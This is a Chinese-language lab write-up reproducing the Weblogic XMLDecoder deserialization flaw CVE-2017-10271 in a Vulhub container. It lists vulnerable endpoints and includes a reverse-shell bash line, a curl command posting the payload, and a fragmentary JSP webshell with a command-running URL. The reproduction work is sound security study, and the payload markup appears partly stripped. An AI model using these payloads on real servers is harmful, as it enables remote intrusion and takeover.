# Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 ## 漏洞描述 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 ## 漏洞影响 ``` Weblogic 10.3.6.0.0 Weblogic 12.1.3.0.0 Weblogic 12.2.1.0.0 Weblogic 12.2.1.2.0 ``` ## 环境搭建 Vulhub 搭建 weblogic 10.3.6.0 环境: ``` git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic/CVE-2017-10271 docker-compose up -d ``` 启动完成后访问`http://your-vps-ip:7001/console`可以看到管理界面。 ![](images/Weblogic%20XMLDecoder%20反序列化远程代码执行漏洞%20CVE-2019-2725/image-20240422141240591.png) ## 漏洞复现 访问 `http://your-ip:7001/wls-wsat/CoordinatorPortType`,若存在,则可能存在漏洞。其他可利用 URL: ```plain /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11 ``` ![](images/Weblogic%20XMLDecoder%20远程代码执行漏洞%20CVE-2017-10271/image-20240422141841164.png) 将以下 xml 数据保存为 poc.xml: ``` /bin/bash -c bash -i >& /dev/tcp// 0>&1 ``` 使用 curl 以 post 方法上传 poc.xml,反弹shell: ```shell curl -v -X POST -H "Content-Type: text/xml" --data @poc.xml "http://your-ip:7001/wls-wsat/CoordinatorPortType" ``` ![](images/Weblogic%20XMLDecoder%20远程代码执行漏洞%20CVE-2017-10271/image-20240422142240394.png) ![](images/Weblogic%20XMLDecoder%20远程代码执行漏洞%20CVE-2017-10271/image-20240422142305482.png) 也可以写入 webshell: ``` servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp "); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(""); } %> ]]> ``` 访问 webshell: ``` http://your-ip:7001/bea_wls_internal/test.jsp?pwd=023&i=whoami ``` ![](images/Weblogic%20XMLDecoder%20远程代码执行漏洞%20CVE-2017-10271/image-20240422142615570.png)